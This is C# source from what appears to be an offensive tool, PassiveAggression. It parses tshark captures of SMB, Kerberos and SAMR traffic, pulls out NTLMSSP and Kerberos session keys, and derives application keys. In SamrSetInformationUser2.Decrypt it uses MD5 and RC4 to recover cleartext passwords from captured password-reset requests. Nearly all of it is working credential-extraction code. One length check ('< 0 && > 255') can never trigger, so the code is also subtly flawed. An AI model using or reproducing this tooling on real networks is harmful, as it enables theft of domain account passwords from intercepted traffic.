43 | //// Set data to be correlated with in later packets
44 | connectionInfo = message.TCPInfo;
45 |
46 | var kerbKeys = message.FindNodesByName("kerberos.keyvalue"); //message["_source"]["layers"]["kerberos.keyvalue"];
47 |
48 | // Return empty message when no keys are found
49 | if (kerbKeys == null)
50 | return;
51 |
52 | // It is possible that multiple keys are in the message.
53 | // This may result in duplicate keys, but we ignore that for now.
54 | sessionKey = new string[kerbKeys.Length];
55 | for (int i = 0; i < kerbKeys.Length; i++)
56 | {
57 | // Make sure to remove delimiters
58 | sessionKey[i] = Misc.CleanHexData(kerbKeys[i]);
59 | }
60 |
61 | IsAck = message.DCERPC_PacketType == Enums.PKT_DCERPC.BINDACK;
62 | kerberosKeyType = message.FindNodeByName("kerberos.keytype");
63 |
64 |
65 | }
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Events/SMBSessionNegotiation.cs:
--------------------------------------------------------------------------------
1 | using PassiveAgression.Core.Network;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using PassiveAgression.Core.Static;
8 | using static PassiveAgression.Core.Static.Enums;
9 |
10 | namespace PassiveAgression.Core.Events
11 | {
12 | public class SMBSessionNegotiation
13 | {
14 |
15 | public bool success { get; set; }
16 |
17 | public TCPConnectionInfo connectionInfo { get; set; }
18 |
19 | public SMB_Dialect SMB_Dialect;
20 |
21 | public SMBSessionNegotiation(TSharkMessage message)
22 | {
23 | try
24 | {
25 | Parse(message);
26 | success = true;
27 | }
28 | catch
29 | {
30 | // Do nothing
31 | }
32 |
33 | }
34 |
35 | ///
36 | /// Parses data from message into structs.
37 | ///
38 | ///
39 | private void Parse(TSharkMessage message)
40 | {
41 | //// Set data to be correlated with in later packets
42 | connectionInfo = message.TCPInfo;
43 |
44 | if (!message.SMBResponse)
45 | return;
46 |
47 | string SmbDialect = message.FindNodeByName("smb2.dialect");
48 | int dialectNbr = Convert.ToInt32(SmbDialect, 16);
49 | SMB_Dialect = (Enums.SMB_Dialect)dialectNbr;
50 |
51 | }
52 |
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Events/SMBSessionSetup.cs:
--------------------------------------------------------------------------------
1 | using PassiveAgression.Core.Network;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace PassiveAgression.Core.Events
9 | {
10 | public class SMBSessionSetup
11 | {
12 |
13 | public struct SMB_Session_Crypto
14 | {
15 | public byte[] Label;
16 | public byte[] Context;
17 | public byte[] ApplicationKey;
18 | public byte[] NtlmSSPKey;
19 |
20 | }
21 |
22 | public bool success { get; set; }
23 |
24 | public TCPConnectionInfo connectionInfo { get; set; }
25 |
26 | public string smbSessionId { get; set; }
27 |
28 | public string baseSessionKey { get; set; }
29 | public string sessionKey { get; set; }
30 | public string ntlmSspSessionKey { get; set; }
31 | public string account { get; set; }
32 | public string Preauth_Hash { get; set; }
33 |
34 | public SMB_Session_Crypto SMBCrypto { get; set; }
35 |
36 | public SMBSessionSetup(TSharkMessage message)
37 | {
38 | try
39 | {
40 | Parse(message);
41 | success = !string.IsNullOrEmpty(Preauth_Hash) && !string.IsNullOrEmpty(smbSessionId)
42 | && !string.IsNullOrEmpty(ntlmSspSessionKey);
43 | }
44 | catch
45 | {
46 | // Do nothing
47 | }
48 |
49 | }
50 |
51 | ///
52 | /// Parses data from message into structs.
53 | ///
54 | ///
55 | private void Parse(TSharkMessage message)
56 | {
57 | connectionInfo = message.TCPInfo;
58 | smbSessionId = message.FindNodeByName("smb2.sesid");
59 |
60 | var _preauthHash = message.FindNodeByName("smb2.preauth_hash");
61 | var _sessionKey = message.FindNodeByName("ntlmssp.auth.sesskey");
62 |
63 | if (string.IsNullOrEmpty(_preauthHash))
64 | return;
65 |
66 | if (string.IsNullOrEmpty(_sessionKey))
67 | return;
68 |
69 | Preauth_Hash = Misc.CleanHexData(_preauthHash);
70 | sessionKey = Misc.CleanHexData(_sessionKey);
71 | account = message.FindNodeByName("ntlmssp.auth.username");
72 |
73 | var keyLines =
74 | message.FindNodesByName("_ws.expert.message");
75 |
76 |
77 | if (keyLines != null)
78 | {
79 | // Extract keylines
80 | foreach (var keyLine in keyLines)
81 | {
82 | var _kline = keyLine.ToString();
83 | if (_kline.Contains("NTLMSSP SessionKey"))
84 | {
85 | // Extract NTLMSSP sessionKey
86 | ntlmSspSessionKey = ExtractKeyFromKeyLine(_kline);
87 | }
88 |
89 | if (_kline.Contains("BaseSessionKey"))
90 | {
91 | // Extract basesessionkey
92 | baseSessionKey = ExtractKeyFromKeyLine(_kline);
93 | }
94 |
95 | }
96 |
97 | if (string.IsNullOrEmpty(ntlmSspSessionKey))
98 | return;
99 |
100 | SMB_Session_Crypto Crypto = new SMB_Session_Crypto();
101 |
102 | // Precaulcate crypto values.
103 | // We assume that if the preauth hash is present, dialect == 3.1.1
104 | // https://github.com/fortra/impacket/blob/master/impacket/smb3.py#L863
105 | byte[] context, label;
106 | context = Encoding.UTF8.GetBytes("SmbRpc\x00");
107 | label = Encoding.UTF8.GetBytes("SMB2APP\x00");
108 | if (!string.IsNullOrEmpty(Preauth_Hash))
109 | {
110 | label = Encoding.UTF8.GetBytes("SMBAppKey\x00");
111 | context = Misc.HexStringToBytes(Preauth_Hash);
112 | }
113 |
114 | Crypto.Context = context;
115 | Crypto.Label = label;
116 | Crypto.NtlmSSPKey = Misc.HexStringToBytes(ntlmSspSessionKey);
117 | Crypto.ApplicationKey = Core.Crypto.Signing.ComputeHMACSha256KDFCounterMode(Crypto.NtlmSSPKey,
118 | Crypto.Label,
119 | Crypto.Context, 128);
120 | SMBCrypto = Crypto;
121 | }
122 |
123 |
124 |
125 | }
126 |
127 | ///
128 | /// Extracts sessionkey from a keyline, such as: NTLMv2 BaseSessionKey (xxxxxxxxx)
129 | ///
130 | ///
131 | ///
132 | private static string ExtractKeyFromKeyLine(string keyLine)
133 | {
134 | var result = "";
135 | try
136 | {
137 | result = keyLine.Split('(')[1].TrimEnd(')');
138 | }
139 | catch (Exception e)
140 | {
141 | result = "";
142 | }
143 |
144 | return result;
145 | }
146 |
147 | }
148 |
149 | }
150 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Events/SamrSetInformationUser2.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 | using PassiveAgression.Core.Network;
7 | using PassiveAgression.Core.Win32;
8 | using static System.Runtime.InteropServices.JavaScript.JSType;
9 |
10 | namespace PassiveAgression.Core.Events
11 | {
12 | public class SamrSetInformationUser2
13 | {
14 | public bool success { get; set; }
15 |
16 | public TCPConnectionInfo connectionInfo { get; set; }
17 |
18 | public string smbSessionId { get; set; }
19 |
20 | public string ClearTextPassword { get; set; }
21 |
22 | Natives.SAMPR_ENCRYPTED_USER_PASSWORD_NEW cryptedData { get; set; }
23 |
24 | public string Username { get; set; }
25 |
26 | public SamrSetInformationUser2(TSharkMessage message)
27 | {
28 | try
29 | {
30 | Parse(message);
31 | success = true;
32 | }
33 | catch
34 | {
35 | // Do nothing
36 | }
37 |
38 | }
39 |
40 | ///
41 | /// Parses data from message into structs.
42 | ///
43 | ///
44 | private void Parse(TSharkMessage message)
45 | {
46 | //// Set data to be correlated with in later packets
47 | connectionInfo = message.TCPInfo;
48 | smbSessionId = message.FindNodeByName("smb2.sesid");
49 |
50 | // Fetch crypted data
51 | string strBytes = message.FindNodeByName("samr.samr_UserInfo.info25_raw");
52 | byte[] pwdResetBytes = Misc.HexStringToBytes(strBytes);
53 |
54 | byte[] passwordBuffer = pwdResetBytes[^532..pwdResetBytes.Length];
55 | cryptedData = Misc.ReadStruct(passwordBuffer);
56 | }
57 |
58 | ///
59 | /// Decrypts encrypted data with keys negotiated in SMBSession
60 | ///
61 | ///
62 | /// cleartext string
63 | public string Decrypt(SMBSessionSetup SMBSessionInfo)
64 | {
65 | string result = string.Empty;
66 |
67 | int pwdLength, clearTxtPwdStart, clearTxtPwdEnd;
68 |
69 | byte[] digestData = Misc.MergeBlocks(cryptedData.ClearSalt, SMBSessionInfo.SMBCrypto.ApplicationKey);
70 | byte[] decryptionKey = Crypto.Signing.ComputeMD5Hash(digestData);
71 |
72 | byte[] decrypted = Crypto.RC4.TransformData(cryptedData.crypted, decryptionKey);
73 |
74 | // Last 4 bytes indicate lenth of string
75 | byte[] bPwdLength = decrypted[^4..decrypted.Length];
76 | pwdLength = BitConverter.ToInt32(bPwdLength, 0);
77 |
78 | if (pwdLength < 0 && pwdLength > 255)
79 | {
80 | // Could not decrypt value
81 | return string.Empty;
82 | }
83 |
84 | byte[] clearTextPwd = new byte[pwdLength];
85 |
86 | clearTxtPwdStart = decrypted.Length - (4 + pwdLength);
87 | clearTxtPwdEnd = decrypted.Length - 4;
88 | clearTextPwd = decrypted[clearTxtPwdStart..clearTxtPwdEnd];
89 |
90 | ClearTextPassword = UnicodeEncoding.Unicode.GetString(clearTextPwd);
91 |
92 | return ClearTextPassword;
93 | }
94 |
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Misc.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Globalization;
4 | using System.Linq;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 | using PassiveAgression.Core.Static;
9 | using static PassiveAgression.Core.Win32.Natives;
10 |
11 | namespace PassiveAgression.Core
12 | {
13 | internal class Misc
14 | {
15 | ///
16 | /// Converts hex stream to byte array.
17 | ///
18 | ///
19 | ///
20 | public static byte[] HexStringToBytes(string hex)
21 | {
22 | hex = hex.Replace(" ", ""); // Remove spaces if any
23 | byte[] bytes = new byte[hex.Length / 2];
24 |
25 | for (int i = 0; i < hex.Length; i += 2)
26 | {
27 | bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
28 | }
29 |
30 | return bytes;
31 | }
32 |
33 | ///
34 | /// Concats 2 byte arrays
35 | ///
36 | ///
37 | ///
38 | public static byte[] ConcatByteArrays(params byte[][] arrays)
39 | {
40 | byte[] rv = new byte[arrays.Sum(a => a.Length)];
41 | int offset = 0;
42 | foreach (byte[] array in arrays)
43 | {
44 | System.Buffer.BlockCopy(array, 0, rv, offset, array.Length);
45 | offset += array.Length;
46 | }
47 | return rv;
48 | }
49 |
50 | ///
51 | /// returns a string with ascii characters in the given byte array
52 | ///
53 | ///
54 | ///
55 | ///
56 | ///
57 | public static string GetAsciiCharacters(byte[] byteArray, int startIndex, int count)
58 | {
59 | StringBuilder asciiChars = new StringBuilder();
60 |
61 | for (int i = startIndex; i < startIndex + count; i++)
62 | {
63 | if (i < byteArray.Length)
64 | {
65 | if (byteArray[i] >= 32 && byteArray[i] <= 126)
66 | {
67 | asciiChars.Append((char)byteArray[i]);
68 | }
69 | else
70 | {
71 | asciiChars.Append('.');
72 | }
73 | }
74 | else
75 | {
76 | asciiChars.Append(' '); // Add padding for last line if needed
77 | }
78 | }
79 |
80 | return asciiChars.ToString();
81 | }
82 |
83 | ///
84 | /// Thanks: https://www.codeproject.com/Articles/36747/Quick-and-Dirty-HexDump-of-a-Byte-Array
85 | ///
86 | ///
87 | ///
88 | public static void DisplayHexDump(byte[] bytes, int bytesPerLine = 16)
89 | {
90 | if (bytes == null) return;
91 | int bytesLength = bytes.Length;
92 |
93 | char[] HexChars = "0123456789ABCDEF".ToCharArray();
94 |
95 | int firstHexColumn =
96 | 8 // 8 characters for the address
97 | + 3; // 3 spaces
98 |
99 | int firstCharColumn = firstHexColumn
100 | + bytesPerLine * 3 // - 2 digit for the hexadecimal value and 1 space
101 | + (bytesPerLine - 1) / 8 // - 1 extra space every 8 characters from the 9th
102 | + 2; // 2 spaces
103 |
104 | int lineLength = firstCharColumn
105 | + bytesPerLine // - characters to show the ascii value
106 | + Environment.NewLine.Length; // Carriage return and line feed (should normally be 2)
107 |
108 | char[] line = (new String(' ', lineLength - Environment.NewLine.Length) + Environment.NewLine).ToCharArray();
109 | int expectedLines = (bytesLength + bytesPerLine - 1) / bytesPerLine;
110 | StringBuilder result = new StringBuilder(expectedLines * lineLength);
111 |
112 | for (int i = 0; i < bytesLength; i += bytesPerLine)
113 | {
114 | line[0] = HexChars[(i >> 28) & 0xF];
115 | line[1] = HexChars[(i >> 24) & 0xF];
116 | line[2] = HexChars[(i >> 20) & 0xF];
117 | line[3] = HexChars[(i >> 16) & 0xF];
118 | line[4] = HexChars[(i >> 12) & 0xF];
119 | line[5] = HexChars[(i >> 8) & 0xF];
120 | line[6] = HexChars[(i >> 4) & 0xF];
121 | line[7] = HexChars[(i >> 0) & 0xF];
122 |
123 | int hexColumn = firstHexColumn;
124 | int charColumn = firstCharColumn;
125 |
126 | for (int j = 0; j < bytesPerLine; j++)
127 | {
128 | if (j > 0 && (j & 7) == 0) hexColumn++;
129 | if (i + j >= bytesLength)
130 | {
131 | line[hexColumn] = ' ';
132 | line[hexColumn + 1] = ' ';
133 | line[charColumn] = ' ';
134 | }
135 | else
136 | {
137 | byte b = bytes[i + j];
138 | line[hexColumn] = HexChars[(b >> 4) & 0xF];
139 | line[hexColumn + 1] = HexChars[b & 0xF];
140 | //line[charColumn] = (b < 32 ? '·' : (char)b);
141 | line[charColumn] = (b >= 32 && b <= 126 ? (char)b : '·');
142 | }
143 | hexColumn += 3;
144 | charColumn++;
145 | }
146 | result.Append(line);
147 | }
148 | Console.WriteLine(result.ToString());
149 | }
150 |
151 | ///
152 | /// Finds index of sequence of bytes in array
153 | ///
154 | ///
155 | ///
156 | ///
157 | public static int FindSequence(byte[] byteArray, byte[] sequenceToFind)
158 | {
159 | for (int i = 0; i <= byteArray.Length - sequenceToFind.Length; i++)
160 | {
161 | bool found = true;
162 |
163 | for (int j = 0; j < sequenceToFind.Length; j++)
164 | {
165 | if (byteArray[i + j] != sequenceToFind[j])
166 | {
167 | found = false;
168 | break;
169 | }
170 | }
171 |
172 | if (found)
173 | {
174 | return i;
175 | }
176 | }
177 |
178 | return -1; // Sequence not found
179 | }
180 |
181 | ///
182 | /// Checks if all items in an array have the same value
183 | ///
184 | ///
185 | ///
186 | public static bool AllItemsAreSame(byte[] byteArray)
187 | {
188 | if (byteArray.Length == 0)
189 | {
190 | return true; // Empty array is considered to have the same items
191 | }
192 |
193 | byte firstValue = byteArray[0];
194 |
195 | for (int i = 1; i < byteArray.Length; i++)
196 | {
197 | if (byteArray[i] != firstValue)
198 | {
199 | return false;
200 | }
201 | }
202 |
203 | return true;
204 | }
205 |
206 | ///
207 | /// Calculates CRC32 based on input
208 | ///
209 | ///
210 | ///
211 | public static uint CalcCrc32(byte[] data)
212 | {
213 | uint dwCRC = 0xFFFFFFFF;
214 | for (int i = 0; i < data.Length; i++)
215 | {
216 | dwCRC = (dwCRC >> 8) ^ Static.Win32.dwCrc32Table[(data[i]) ^ (dwCRC & 0x000000FF)];
217 | }
218 | dwCRC = ~dwCRC;
219 | return dwCRC;
220 | }
221 |
222 | ///
223 | /// Converts a byte array with signed bytes to an array with unsigned bytes
224 | ///
225 | ///
226 | ///
227 | public static byte[] ConvertSignedByteArrayToUnsigned(sbyte[] data)
228 | {
229 | byte[] unsignedByteArray = new byte[data.Length];
230 |
231 | for (int i = 0; i < data.Length; i++)
232 | {
233 | unsignedByteArray[i] = (byte)data[i];
234 | }
235 |
236 | return unsignedByteArray;
237 | }
238 |
239 | ///
240 | /// Returns a human readable form of samaccounttype
241 | ///
242 | ///
243 | ///
244 | public static string SamAccountTypeToString(uint accountType)
245 | {
246 | SamAccountType sat = (SamAccountType)accountType;
247 | return sat.ToString();
248 | }
249 |
250 | ///
251 | /// Encodes given bytes into a struct of type T
252 | ///
253 | ///
254 | ///
255 | ///
256 | public static T ReadStruct(byte[] array)
257 | where T : struct
258 | {
259 |
260 | GCHandle handle = GCHandle.Alloc(array, GCHandleType.Pinned);
261 | var mystruct = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
262 | handle.Free();
263 |
264 | return mystruct;
265 | }
266 |
267 | ///
268 | /// Reads memory from given Ptr and returns encoded struct of type T
269 | ///
270 | ///
271 | ///
272 | ///
273 | public static T ReadStruct(IntPtr addr)
274 | where T : struct
275 | {
276 | T str = (T)Marshal.PtrToStructure(addr, typeof(T));
277 |
278 | return str;
279 | }
280 |
281 | ///
282 | /// Returns human readable string of given bytearray
283 | ///
284 | ///
285 | ///
286 | public static string PrintHashBytes(byte[] byteArray)
287 | {
288 | if (byteArray == null)
289 | return string.Empty;
290 |
291 | StringBuilder res = new StringBuilder(byteArray.Length * 2);
292 | for (int i = 0; i < byteArray.Length; i++)
293 | {
294 | res.AppendFormat(NumberFormatInfo.InvariantInfo, "{0:x2}", byteArray[i]);
295 | }
296 | return res.ToString();
297 | }
298 |
299 | public static byte[] MergeBlocks(byte[] block1, byte[] block2)
300 | {
301 | byte[] outBlock = new byte[block1.Length + block2.Length];
302 | Array.Copy(block1, outBlock, block1.Length);
303 | Array.Copy(block2, 0, outBlock, block1.Length, block2.Length);
304 |
305 | return outBlock;
306 | }
307 |
308 | ///
309 | /// Removes colons and dashes from hexstring
310 | ///
311 | ///
312 | ///
313 | public static string CleanHexData(string hashData)
314 | {
315 | if (!string.IsNullOrEmpty(hashData))
316 | return hashData.Replace(":", "").Replace("-", "");
317 |
318 | return hashData;
319 | }
320 |
321 | ///
322 | /// Converts the given ATTId from Big Engian to Little Endian
323 | /// This can be used to lookup the existence of an ATTId in a stream that is LE
324 | ///
325 | ///
326 | ///
327 | public static string GetAttIdInLEHexString(Enums.ATTIds att)
328 | {
329 | string hexUnicodePwd = att.ToString("X");
330 |
331 | byte[] bytes = Enumerable.Range(0, hexUnicodePwd.Length)
332 | .Where(x => x % 2 == 0)
333 | .Select(x => Convert.ToByte(hexUnicodePwd.Substring(x, 2), 16))
334 | .ToArray();
335 |
336 | Array.Reverse(bytes);
337 |
338 | // Convert the byte array back to a hex string
339 | return BitConverter.ToString(bytes).Replace("-", "");
340 | }
341 |
342 | ///
343 | /// Reads wchars from a byte array and returns the unicode string
344 | ///
345 | ///
346 | ///
347 | public static string ReadWChars(ref byte[] data)
348 | {
349 | int length = 0;
350 |
351 | // Determine the length of the null-terminated string.
352 | while (data[length] != 0 || data[length + 1] != 0)
353 | {
354 | length += 2; // Assuming a null-terminated wide character string.
355 | }
356 |
357 | // we do know the length of the handle now
358 | string w_string = System.Text.Encoding.Unicode.GetString(data, 0, length);
359 |
360 | return w_string;
361 | }
362 |
363 | public static int FieldOffset(string fieldName)
364 | {
365 | return Marshal.OffsetOf(typeof(T), fieldName).ToInt32();
366 | }
367 |
368 |
369 | }
370 | }
371 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Network/TSharkMessage.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json.Linq;
2 | using PassiveAgression.Core.Static;
3 | using System.Reflection.Metadata.Ecma335;
4 | using System.Runtime.Serialization;
5 | using static PassiveAgression.Core.Static.Enums;
6 | using static PassiveAgression.Core.Win32.Natives;
7 |
8 | namespace PassiveAgression.Core.Network
9 | {
10 |
11 | public struct TCPConnectionInfo
12 | {
13 | public string SourceIP;
14 | public string DestinationIP;
15 | public int SourcePort;
16 | public int DestinationPort;
17 | public int StreamIndex;
18 | }
19 |
20 | public class TSharkMessage
21 | {
22 |
23 | ///
24 | /// Cache descendants to prevent re-requesting the same items
25 | ///
26 | private IEnumerable DescendantsAndSelf;
27 |
28 | private JObject _tsharkMessage;
29 |
30 | private string rawJson;
31 |
32 | #region Generic TCPFields
33 | public int StreamIndex
34 | {
35 | get
36 | {
37 | return FindNodeByName("tcp.stream");
38 | }
39 | }
40 |
41 | public string SourceIP
42 | {
43 | get
44 | {
45 | return FindNodeByName("ip.src");
46 | }
47 | }
48 |
49 | public string DestinationIP
50 | {
51 | get
52 | {
53 | return FindNodeByName("ip.dst");
54 | }
55 | }
56 |
57 | public int SourcePort
58 | {
59 | get
60 | {
61 | return FindNodeByName("tcp.srcport");
62 | }
63 | }
64 |
65 | public int DestinationPort
66 | {
67 | get
68 | {
69 | return FindNodeByName("tcp.dstport");
70 | }
71 | }
72 |
73 | public TCPConnectionInfo TCPInfo
74 | {
75 | get
76 | {
77 | return new TCPConnectionInfo
78 | {
79 | DestinationIP = DestinationIP,
80 | DestinationPort = DestinationPort,
81 | SourceIP = SourceIP,
82 | SourcePort = SourcePort,
83 | StreamIndex = StreamIndex,
84 | };
85 | }
86 | }
87 |
88 | #endregion
89 |
90 | #region SAMR
91 |
92 | public Enums.OP_SAMR SAMR_Opnum
93 | {
94 | get
95 | {
96 | return (Enums.OP_SAMR)FindNodeByName("samr.opnum");
97 | }
98 | }
99 |
100 | #endregion
101 |
102 | #region DCERPC
103 |
104 | public Enums.OP_DCERPC DCERPC_Opnum
105 | {
106 | get
107 | {
108 | return (Enums.OP_DCERPC)FindNodeByName("dcerpc.opnum");
109 | }
110 | }
111 |
112 | public Enums.PKT_DCERPC DCERPC_PacketType
113 | {
114 | get
115 | {
116 | return (Enums.PKT_DCERPC)FindNodeByName("dcerpc.pkt_type");
117 | }
118 | }
119 |
120 | #endregion
121 |
122 | #region NETLOGON
123 |
124 | public Enums.OP_NETLOGON NETLOGON_Opnum
125 | {
126 | get
127 | {
128 | return (Enums.OP_NETLOGON)FindNodeByName("netlogon.opnum");
129 | }
130 | }
131 |
132 |
133 | #endregion
134 |
135 | #region SMB
136 |
137 | public Enums.SMB_CMD SMB_CMD
138 | {
139 | get
140 | {
141 | return (Enums.SMB_CMD)FindNodeByName("smb2.cmd");
142 | }
143 | }
144 |
145 | public SMB2_FLAGS SMB2Flags
146 | {
147 | get
148 | {
149 | uint flag = uint.MinValue;
150 |
151 | string smbflag = FindNodeByName("smb2.flags");
152 | if (!string.IsNullOrEmpty(smbflag))
153 | flag = Convert.ToUInt32(smbflag, 16);
154 |
155 | SMB2_FLAGS smbflags = (SMB2_FLAGS)flag;
156 | return smbflags;
157 | }
158 | }
159 |
160 | ///
161 | /// True if message is an SMB request
162 | ///
163 | public bool SMBRequest
164 | {
165 | get
166 | {
167 | return !SMB2Flags.HasFlag(SMB2_FLAGS.SMB2_FLAGS_SERVER_TO_REDIR);
168 | }
169 | }
170 |
171 | ///
172 | /// True is message is an SMB response
173 | ///
174 | public bool SMBResponse
175 | {
176 | get
177 | {
178 | return SMB2Flags.HasFlag(SMB2_FLAGS.SMB2_FLAGS_SERVER_TO_REDIR);
179 | }
180 | }
181 |
182 | #endregion
183 |
184 | public TSharkMessage(string message)
185 | {
186 | _tsharkMessage = JObject.Parse(message);
187 | rawJson = message;
188 | }
189 |
190 | ///
191 | /// Finds node in JObject and returns the value of type T
192 | ///
193 | ///
194 | ///
195 | ///
196 | public T FindNodeByName(string nodeName)
197 | {
198 | if (null == DescendantsAndSelf)
199 | DescendantsAndSelf = _tsharkMessage.DescendantsAndSelf();
200 |
201 | foreach (var token in DescendantsAndSelf)
202 | {
203 | if (token is JProperty property && property.Name == nodeName)
204 | {
205 | JToken jVal;
206 | bool isJArray = property.Type == JTokenType.Array;
207 | int numItem = property.Value.Count();
208 |
209 | if (!isJArray && numItem < 2)
210 | {
211 | jVal = property.Value;
212 | if (jVal.Type == JTokenType.Array)
213 | jVal = jVal.First();
214 | }
215 | else
216 | {
217 | jVal = property.Value[0];
218 | }
219 |
220 | return GetValue(jVal);
221 | }
222 | }
223 |
224 | // Make sure to return int.MinValue, since 0 will refer
225 | // to items in element of flags
226 | if (typeof(T) == typeof(int))
227 | {
228 | return (T)(object)(int.MinValue);
229 | }
230 |
231 | if (typeof(T) == typeof(uint))
232 | {
233 | return (T)(object)(uint.MinValue);
234 | }
235 |
236 | return default(T);
237 | }
238 |
239 | ///
240 | /// Finds nodes in JObject and returns array with values of type T
241 | ///
242 | ///
243 | ///
244 | ///
245 | public T[] FindNodesByName(string nodeName)
246 | {
247 | if (null == DescendantsAndSelf)
248 | DescendantsAndSelf = _tsharkMessage.DescendantsAndSelf();
249 |
250 | foreach (var token in DescendantsAndSelf)
251 | {
252 | if (token is JProperty property && property.Name == nodeName)
253 | {
254 | int items = property.Value.Count() > 1 ? property.Value.Count() : 1;
255 | // return array
256 | T[] retArray = new T[items];
257 | for (int i = 0; i < items; i++)
258 | {
259 | JToken jVal = items > 1 ? property.Value[i] : property.Value;
260 | retArray[i] = GetValue(jVal);
261 | }
262 | return retArray;
263 | }
264 |
265 | }
266 | return default(T[]);
267 | }
268 |
269 | ///
270 | /// Checks if message contains a specific node
271 | ///
272 | ///
273 | public bool ContainsNode(string nodeName)
274 | {
275 | if (null == DescendantsAndSelf)
276 | DescendantsAndSelf = _tsharkMessage.DescendantsAndSelf();
277 |
278 | foreach (var token in DescendantsAndSelf)
279 | {
280 | if (token is JProperty property && property.Name == nodeName)
281 | {
282 | return true;
283 | }
284 | }
285 |
286 | return false;
287 | }
288 |
289 |
290 | private T GetValue(JToken token)
291 | {
292 | if (token is JValue jValue)
293 | {
294 | try
295 | {
296 | return (T)Convert.ChangeType(jValue.Value, typeof(T));
297 | }
298 | catch (InvalidCastException)
299 | {
300 | return default(T);
301 | }
302 | }
303 | return default(T);
304 | }
305 | }
306 |
307 |
308 | }
309 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Static/Win32.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace PassiveAgression.Core.Static
8 | {
9 | internal class Win32
10 | {
11 | internal static uint[] dwCrc32Table = new uint[]
12 | {
13 | 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,
14 | 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
15 | 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
16 | 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
17 | 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
18 | 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
19 | 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC,
20 | 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
21 | 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
22 | 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
23 | 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940,
24 | 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
25 | 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116,
26 | 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
27 | 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
28 | 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
29 |
30 | 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A,
31 | 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
32 | 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818,
33 | 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
34 | 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
35 | 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
36 | 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C,
37 | 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
38 | 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
39 | 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
40 | 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
41 | 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
42 | 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086,
43 | 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
44 | 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4,
45 | 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
46 |
47 | 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
48 | 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
49 | 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
50 | 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
51 | 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE,
52 | 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
53 | 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
54 | 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
55 | 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252,
56 | 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
57 | 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60,
58 | 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
59 | 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
60 | 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
